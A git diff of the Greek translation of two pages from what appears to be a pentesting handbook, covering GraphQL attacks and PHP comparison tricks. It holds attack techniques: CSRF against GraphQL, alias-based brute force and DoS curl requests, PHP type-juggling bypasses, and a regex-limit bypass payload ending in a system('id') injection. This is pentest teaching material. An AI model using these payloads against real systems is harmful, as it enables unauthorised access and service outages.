+Όταν η introspection είναι απενεργοποιημένη, η εξέταση του πηγαίου κώδικα της ιστοσελίδας για προφορτωμένα ερωτήματα σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτά τα ερωτήματα μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα `Sources` στα εργαλεία προγραμματιστή, παρέχοντας πληροφορίες σχετικά με το σχήμα του API και αποκαλύπτοντας πιθανά **εκτεθειμένα ευαίσθητα ερωτήματα**. Οι εντολές για αναζήτηση στα εργαλεία προγραμματιστή είναι:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@@ -411,29 +411,29 @@ file:* query
../../pentesting-web/csrf-cross-site-request-forgery.md
{{#endref}}
-Εκεί έξω μπορείτε να βρείτε αρκετά GraphQL endpoints **ρυθμισμένα χωρίς CSRF tokens.**
+Εκεί έξω θα μπορέσετε να βρείτε αρκετά GraphQL endpoints **ρυθμισμένα χωρίς CSRF tokens.**
Σημειώστε ότι τα αιτήματα GraphQL συνήθως αποστέλλονται μέσω POST αιτημάτων χρησιμοποιώντας το Content-Type **`application/json`**.
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
-Ωστόσο, οι περισσότερες GraphQL τελικές σημεία υποστηρίζουν επίσης **`form-urlencoded` POST αιτήματα:**
+Ωστόσο, οι περισσότερες GraphQL endpoints υποστηρίζουν επίσης **`form-urlencoded` POST αιτήματα:**
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
Ως εκ τούτου, καθώς τα αιτήματα CSRF όπως τα προηγούμενα αποστέλλονται **χωρίς προετοιμασία αιτημάτων**, είναι δυνατόν να **εκτελούνται** **αλλαγές** στο GraphQL εκμεταλλευόμενοι ένα CSRF.
-Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας `samesite` του Chrome είναι `Lax`. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν ιστό τρίτου μέρους σε αιτήματα GET.
+Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας `samesite` του Chrome είναι `Lax`. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν τρίτο ιστότοπο σε αιτήματα GET.
Σημειώστε ότι είναι συνήθως δυνατό να αποσταλεί το **αίτημα** **ερωτήματος** και ως **GET** **αίτημα και το CSRF token μπορεί να μην επικυρώνεται σε ένα GET αίτημα.**
-Επίσης, εκμεταλλευόμενοι μια [**επίθεση XS-Search**](../../pentesting-web/xs-search/) μπορεί να είναι δυνατό να εξάγουμε περιεχόμενο από το GraphQL endpoint εκμεταλλευόμενοι τα διαπιστευτήρια του χρήστη.
+Επίσης, εκμεταλλευόμενοι μια [**επίθεση XS-Search**](../../pentesting-web/xs-search/index.html) μπορεί να είναι δυνατό να εξάγουμε περιεχόμενο από το GraphQL endpoint εκμεταλλευόμενοι τα διαπιστευτήρια του χρήστη.
Για περισσότερες πληροφορίες **ελέγξτε το** [**αρχικό άρθρο εδώ**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
-## Υπαγωγή WebSocket σε GraphQL
+## Υπαγωγή WebSocket μεταξύ ιστότοπων στο GraphQL
-Παρόμοια με τις ευπάθειες CRSF που εκμεταλλεύονται το graphQL, είναι επίσης δυνατό να εκτελέσετε μια **υπαγωγή WebSocket σε άλλους ιστότοπους για να εκμεταλλευτείτε μια αυθεντικοποίηση με GraphQL με μη προστατευμένα cookies** και να κάνετε έναν χρήστη να εκτελεί απροσδόκητες ενέργειες στο GraphQL.
+Παρόμοια με τις ευπάθειες CRSF που εκμεταλλεύονται το graphQL, είναι επίσης δυνατό να εκτελέσετε μια **υπαγωγή WebSocket μεταξύ ιστότοπων για να εκμεταλλευτείτε μια αυθεντικοποίηση με το GraphQL με μη προστατευμένα cookies** και να κάνετε έναν χρήστη να εκτελεί απροσδόκητες ενέργειες στο GraphQL.
Για περισσότερες πληροφορίες ελέγξτε:
@@ -465,13 +465,13 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
## Παράκαμψη Περιορισμών Ρυθμού Χρησιμοποιώντας Ψευδώνυμα στο GraphQL
-Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός API αιτήματος. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεράσουν τον περιορισμό που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.
+Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός αιτήματος API. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεραστεί ο περιορισμός που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.
-Για μια λεπτομερή κατανόηση των ψευδώνυμων GraphQL, προτείνεται η παρακάτω πηγή: [Ψευδώνυμα](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
+Για μια λεπτομερή κατανόηση των ψευδωνύμων GraphQL, προτείνεται η παρακάτω πηγή: [Ψευδώνυμα](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
-Ενώ ο κύριος σκοπός των ψευδώνυμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των HTTP αιτημάτων**. Ωστόσο, αυτοί οι περιοριστές ρυθμού ενδέχεται να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλών ερωτημάτων σε ένα μόνο HTTP αίτημα, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού.
+Ενώ ο κύριος σκοπός των ψευδωνύμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα endpoint GraphQL. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των αιτημάτων HTTP**. Ωστόσο, αυτοί οι περιοριστές ρυθμού ενδέχεται να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλαπλών ερωτημάτων σε ένα μόνο αίτημα HTTP, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού.
-Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθεύσουν την εγκυρότητα των κωδικών έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα HTTP αίτημα, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.
+Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθευτεί η εγκυρότητα των κωδικών έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα αίτημα HTTP, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@@ -490,7 +490,7 @@ valid
### Alias Overloading
-**Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον πίσω διακομιστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1,000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διακομιστή να το υπολογίσει 1,000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη:
+**Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον πίσω διαχειριστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1.000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διαχειριστή να το υπολογίσει 1.000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
@@ -501,7 +501,7 @@ curl -X POST -H "Content-Type: application/json" \
### **Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες**
-**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομαδοποίηση, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.
+**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλαπλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομαδοποίηση, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -513,7 +513,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
### **Ευπάθεια Υπερφόρτωσης Οδηγιών**
-**Υπερφόρτωση Οδηγιών** συμβαίνει όταν ένας διακομιστής GraphQL επιτρέπει ερωτήματα με υπερβολικές, επαναλαμβανόμενες οδηγίες. Αυτό μπορεί να κατακλύσει τον αναλυτή και τον εκτελεστή του διακομιστή, ειδικά αν ο διακομιστής επεξεργάζεται επανειλημμένα την ίδια λογική οδηγίας. Χωρίς κατάλληλη επικύρωση ή όρια, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας ένα ερώτημα με πολλές επαναλαμβανόμενες οδηγίες για να προκαλέσει υψηλή υπολογιστική ή μνημονιακή χρήση, οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
+**Υπερφόρτωση Οδηγιών** συμβαίνει όταν ένας διακομιστής GraphQL επιτρέπει ερωτήματα με υπερβολικές, επαναλαμβανόμενες οδηγίες. Αυτό μπορεί να κατακλύσει τον αναλυτή και τον εκτελεστή του διακομιστή, ειδικά αν ο διακομιστής επεξεργάζεται επανειλημμένα την ίδια λογική οδηγίας. Χωρίς κατάλληλη επικύρωση ή όρια, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας ένα ερώτημα με πολλές επαναλαμβανόμενες οδηγίες για να προκαλέσει υψηλή υπολογιστική ή μνημονιακή χρήση, οδηγώντας σε **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -539,7 +539,7 @@ curl -X POST \
### **Ευπάθεια Διπλασιασμού Πεδίου**
-**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας διακομιστής GraphQL επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επαναληπτικά για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
+**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας διακομιστής GraphQL επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επαναλαμβανόμενα για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@@ -554,17 +554,17 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Σενάριο ελέγχου ασφαλείας GraphQL με έμφαση στην εκτέλεση παρτίδων GraphQL ερωτημάτων και μεταλλάξεων.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Αναγνωρίστε το graphql που χρησιμοποιείται
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλείο που μπορεί να χρησιμοποιηθεί για να αποκτήσει σχήματα και να αναζητήσει ευαίσθητα δεδομένα, να δοκιμάσει εξουσιοδότηση, να επιτεθεί σε σχήματα με βία και να βρει διαδρομές σε έναν δεδομένο τύπο.
-- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο ή [Burp extension](https://github.com/doyensec/inql).
-- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI client για την αυτοματοποίηση επιθέσεων
+- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο ή [επέκταση Burp](https://github.com/doyensec/inql).
+- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI πελάτης για την αυτοματοποίηση επιθέσεων
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Εργαλείο που απαριθμεί τους διαφορετικούς τρόπους **πρόσβασης σε έναν δεδομένο τύπο σε ένα σχήμα GraphQL**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Ο διάδοχος των Αυτόνομων και CLI Λειτουργιών του InQL
-- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα GraphQL endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέσεων**_ σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού.
+- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Επέκταση Burp για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα graphql endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέτη**_ σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού.
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Προσπαθήστε να αποκτήσετε το σχήμα ακόμη και με την introspection απενεργοποιημένη χρησιμοποιώντας τη βοήθεια ορισμένων βάσεων δεδομένων Graphql που θα προτείνουν τα ονόματα των μεταλλάξεων και των παραμέτρων.
### Πελάτες
-- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI client
-- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI Client
+- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI πελάτης
+- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI Πελάτης
### Αυτόματοι Έλεγχοι
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
index 7a247b72f..7af7838e1 100644
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
@@ -21,9 +21,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Παράκαμψη συγκρίσεων PHP
-### Χαλαρές συγκρίσεις/Εναλλαγή τύπων ( == )
+### Χαλαρές συγκρίσεις/Τύποι Juggling ( == )
-Αν χρησιμοποιηθεί το `==` στην PHP, τότε υπάρχουν απρόσμενες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`.
+Αν χρησιμοποιηθεί το `==` στην PHP, τότε υπάρχουν απρόσμενες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τις τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`.
Πίνακες συγκρίσεων PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@@ -32,17 +32,17 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
- `"string" == 0 -> True` Μια συμβολοσειρά που δεν ξεκινά με αριθμό είναι ίση με έναν αριθμό
-- `"0xAAAA" == "43690" -> True` Συμβολοσειρές που αποτελούνται από αριθμούς σε δεκαδική ή εξηρημένη μορφή μπορούν να συγκριθούν με άλλους αριθμούς/συμβολοσειρές με αποτέλεσμα True αν οι αριθμοί είναι οι ίδιοι (οι αριθμοί σε μια συμβολοσειρά ερμηνεύονται ως αριθμοί)
+- `"0xAAAA" == "43690" -> True` Συμβολοσειρές που αποτελούνται από αριθμούς σε δεκαδική ή εξηρημένη μορφή μπορούν να συγκριθούν με άλλους αριθμούς/συμβολοσειρές με αποτέλεσμα True αν οι αριθμοί ήταν οι ίδιοι (οι αριθμοί σε μια συμβολοσειρά ερμηνεύονται ως αριθμοί)
- `"0e3264578" == 0 --> True` Μια συμβολοσειρά που ξεκινά με "0e" και ακολουθείται από οτιδήποτε θα είναι ίση με 0
- `"0X3264578" == 0X --> True` Μια συμβολοσειρά που ξεκινά με "0" και ακολουθείται από οποιοδήποτε γράμμα (το X μπορεί να είναι οποιοδήποτε γράμμα) και ακολουθείται από οτιδήποτε θα είναι ίση με 0
-- `"0e12334" == "0" --> True` Αυτό είναι πολύ ενδιαφέρον γιατί σε ορισμένες περιπτώσεις μπορείτε να ελέγξετε την είσοδο της συμβολοσειράς "0" και κάποιο περιεχόμενο που έχει κατακερματιστεί και συγκρίνεται με αυτό. Επομένως, αν μπορείτε να παρέχετε μια τιμή που θα δημιουργήσει έναν κατακερματισμό που ξεκινά με "0e" και χωρίς κανένα γράμμα, θα μπορούσατε να παρακάμψετε τη σύγκριση. Μπορείτε να βρείτε **ήδη κατακερματισμένες συμβολοσειρές** με αυτή τη μορφή εδώ: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
+- `"0e12334" == "0" --> True` Αυτό είναι πολύ ενδιαφέρον γιατί σε ορισμένες περιπτώσεις μπορείτε να ελέγξετε την είσοδο της συμβολοσειράς "0" και κάποιο περιεχόμενο που έχει κατακερματιστεί και συγκρίνεται με αυτό. Επομένως, αν μπορείτε να παρέχετε μια τιμή που θα δημιουργήσει έναν κατακερματισμό που ξεκινά με "0e" και χωρίς κανένα γράμμα, θα μπορούσατε να παρακάμψετε τη σύγκριση. Μπορείτε να βρείτε **ήδη κατακερματισμένες συμβολοσειρές** με αυτό το φορμά εδώ: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` Κάθε γράμμα σε μια συμβολοσειρά είναι ίσο με int 0
Περισσότερες πληροφορίες στο [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in_array()**
-**Εναλλαγή τύπων** επηρεάζει επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε αυστηρή σύγκριση):
+**Τύποι Juggling** επηρεάζουν επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε μια αυστηρή σύγκριση):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@@ -109,12 +109,13 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
-Συνοπτικά, το πρόβλημα συμβαίνει επειδή οι `preg_*` συναρτήσεις στην PHP βασίζονται στη [βιβλιοθήκη PCRE](http://www.pcre.org/). Στην PCRE, ορισμένες κανονικές εκφράσεις ταιριάζουν χρησιμοποιώντας πολλές αναδρομικές κλήσεις, οι οποίες καταναλώνουν πολύ χώρο στο στοίβωμα. Είναι δυνατόν να οριστεί ένα όριο στον αριθμό των επιτρεπόμενων αναδρομών, αλλά στην PHP αυτό το όριο [προεπιλέγεται σε 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), το οποίο είναι περισσότερο από ό,τι χωράει στο στοίβωμα.
+Συνοπτικά, το πρόβλημα συμβαίνει επειδή οι `preg_*` συναρτήσεις στην PHP βασίζονται στη [βιβλιοθήκη PCRE](http://www.pcre.org/). Στην PCRE, ορισμένες κανονικές εκφράσεις ταιριάζουν χρησιμοποιώντας πολλές αναδρομικές κλήσεις, οι οποίες καταναλώνουν πολύ χώρο στο στοίβο. Είναι δυνατόν να οριστεί ένα όριο στον αριθμό των επιτρεπόμενων αναδρομών, αλλά στην PHP αυτό το όριο [προεπιλέγεται σε 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), το οποίο είναι περισσότερο από ό,τι χωράει στο στοίβο.
[Αυτή η συζήτηση στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:\
-**Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστεύει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system()}` για να αποκτήσουμε SSTI --> RCE --> flag :)**.
+**Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστέψει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system()}` για να αποκτήσουμε SSTI --> RCE --> flag :)**.
-Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\ Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
+Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\
+Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@@ -151,16 +152,16 @@ Check:
## More tricks
-- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακορυθμισμένο, **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα.
+- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακώς ρυθμισμένο, **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα.
- Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να έχει πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\
